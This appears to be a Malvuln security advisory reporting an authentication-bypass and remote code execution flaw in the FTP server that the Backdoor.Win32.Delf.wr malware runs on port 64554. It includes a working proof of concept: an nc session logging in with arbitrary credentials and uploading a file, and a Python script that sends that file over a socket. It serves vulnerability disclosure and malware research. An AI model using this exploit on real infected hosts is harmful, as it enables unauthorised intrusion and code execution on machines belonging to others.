Backdoor.Win32.Delf.wr malware suffers from bypass and code execution vulnerabilities.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fc74e80ff2f49380972904d77df1c0f1.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Delf.wr
Vulnerability: Authentication Bypass RCE
Description: The CrazyInvadres Group⌐ bY SMURF_NS malware runs an FTP server on TCP port 64554. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: fc74e80ff2f49380972904d77df1c0f1
Vuln ID: MVID-2021-0326
Disclosure: 08/30/2021
Exploit/PoC:
nc64.exe 192.168.18.129 64554
220 CrazyInvadres Group⌐ bY SMURF_NS ;)
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,129,194,21).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.js
150 Opening data connection for DOOM.js.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.129"
PORT=49685
DOOM="DOOM.js"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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